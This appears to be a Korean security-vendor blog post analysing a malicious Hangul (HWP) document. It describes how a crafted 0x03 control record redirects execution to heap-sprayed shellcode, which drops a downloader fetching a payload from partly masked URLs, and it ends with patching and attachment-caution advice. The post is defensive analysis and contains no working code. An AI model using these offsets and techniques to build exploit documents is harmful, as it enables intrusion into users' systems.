취약점 발생원인은 한글의 본문에 해당하는 'HWPTAG_PARA_TEXT' 레코드에 사용된 확장 컨트롤(0x03) 조작을 통해 공격자가 설정한 주소로 분기를 통해 발생하며, 아래의 [그림-1]은 취약점 한글문서의 Section별 구조를 나타낸다.

[그림-1] 취약점 파일의 섹션구조

취약점 한글파일은 [그림-1]과 같이 총 15개의 섹션을 갖고 있으며, "Section0"는 정상적인 문자열 정보와 취약점을 발생 시키는 'HWPTAG_PARA_TEXT' 레코드가 존재한다. "Section1~Section14"의 경우, 모두 동일한 데이터를 갖고 있으며, "Heap Spray + ShellCode" 삽입을 위한 'HWPTAG_PARA_TEXT' 레코드가 존재한다.

   본 취약점은 [그림-2]와 같이 "Section0" 본문 내 특정 아랍어 문자를 처리하는 과정에서 발생하였으며, 0x988 오프셋의 "0x0634"는 유니코드(Unicode) 에서 해당 아랍어 범위에 해당된다.

[그림-2] 파일 내 취약점 발생영역

한글은 문서 내 문자열이 유니코드 (Unicode) 형태로 구성되며 한 글자당 2바이트 크기를 갖는다. 따라서 'HWPTAG_PARA_TEXT' 버퍼 내에서 특정 문자열이 참조되는 위치는 (문자열개수 * 2) 오프셋에 해당하며, 취약점은 [그림-3]과 같이 문단 내 'HWPTAG_PARA_TEXT' 버퍼의 0xCF 번째 문자열을 참조하는 과정(0xCF * 2 = 0x19E 오프셋 영역)에서 발생한다.

 

[그림-3] 취약점이 발생하는 버퍼 내 오프셋 계산 구간

[그림-4]는 'HWPTAG_PARA_TEXT' 버퍼 내 0x19E 오프셋 영역에 해당하며 "03" 제어문자 레코드의 시작으로 인식되지만, 정상적인 구조로는 레코드 시작으로 인식되지 않는 영역이다. 취약점 파일에서는 해당 구간을 레코드로 인식하기 위해 0xCF 값이 버퍼내의 오프셋 참조번지로 사용되었다.

[그림-4] 'HWPTAG_PARA_TEXT' 버퍼 내 0x19E 오프셋 영역

문서 본문 내 'HWPTAG_PARA_TEXT' 레코드에서 "03" 제어문자는 [그림-5]와 같이 Extended형 컨트롤 형식으로 구성되며, 레코드 버퍼 시작부터 6바이트 건너뛴 위치에 4바이트 가상주소 값을 갖는다.

[그림-5] 제어문자 컨트롤 형식

[그림-6]과 같이 제어문자 "03" 레코드에서 참조하는 가상주소 항목에 "0x0D0C0D0C" 값 이 설정되어 있으며 해당 주소번지의 4바이트 값을 쉘코드 분기에 사용한다. 정상 한글파일의 경우 Extended형 레코드의 가상주소 영역은 NULL로 초기화되어 있으며 한글 실행 후 자동으로 주소 값이 설정되는 구조이다.

[그림-6] 취약점 발생구간

[그림-7]과 같이 "0x0D0C0D0C" 주소의 메모리에는 "Section1~Section14" 에 의해 채워진 SledCode가 존재하며, "0x0D0C0D0C" 주소에 저장된 "0x0B0C0B04" 주소로 분기가 발생한다

[그림-7] "03" 제어문자 레코드의 가상주소 조합 부분

[그림-8] 가상주소에서 참조하는 "0x0D0C0D0C" 주소번지

[그림-9]와 같이 공격자가 설정한 주소로 분기하기 위해 "CALL EAX" 명령어를 수행한다.

[그림-9] "0x0B0C0B04" SledCode 영역으로 분기하는 구간

"CALL EAX" 명령에 의해 분기한 "0x0B0C0B04" 메모리 영역에는 [그림-10]과 같이 HeapSpray SledCode가 존재하며 NOP 명령을 수행하다가 유효 쉘코드를 실행한다.

 

[그림-10] "0x0B0C0B04" 메모리 이후 유효 쉘코드

취약점 발생 이후  %Temp% 경로에 "smss.exe" 파일을 생성하며, 해당 악성코드는 다운로드 기능을 수행한다. ("smss.exe" 파일은 V3에서 "Win-Trojan/Hwdoor.107620" 로 진단)

[그림-11] 악성파일 생성

생성된 "smss.exe" 파일은 실행 시점에 따라 다음 2개의 URL 중 한곳에서 다운로드를 시도하며, 다운로드 받은 파일은 %AppData% 폴더에 "~D543F5E7FB16DDC62E.TMP" 이름으로 생성된다.

-       http://www.n***rfun.net/img/img_[임의의숫자].jpg  <목요일 실행시>

-       http://ig**et.com/img/img_[임의의숫자].jpg           <그 외 실행시>

(* img_[임의의숫자].jpg 는 감염 시스템의 호스트(host) 명을 통해 생성되며, 분석당시 실제로 파일이 다운로드되지는 않음 - 특정 호스트에서는 실제 파일 다운로드가 이루어졌을 것으로 추정 됨)

다운로드가 성공 시 해당 파일을 디코딩하여 [그림-12]와 같이 %AppData% 폴더에 "wuaudt.exe" 파일로 생성 및 실행한다.

[그림-12] 다운로드 파일 "wuaudt.exe"

 

악성코드 감염을 막기 위해서는 항상 한글 프로그램 및 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 필요하다. 또한, 취약점 한글 문서파일은 특정인에게 이메일의 첨부파일 형태로 유포된 것으로 확인되었으므로 불명확한 발신인 혹은 확인되지 않은 첨부파일의 경우, 실행 전에 보안에 문제가 없는지 확인하는 과정이 필요하다.

 

 

신고
Creative Commons License
Creative Commons License
Posted by a0_zest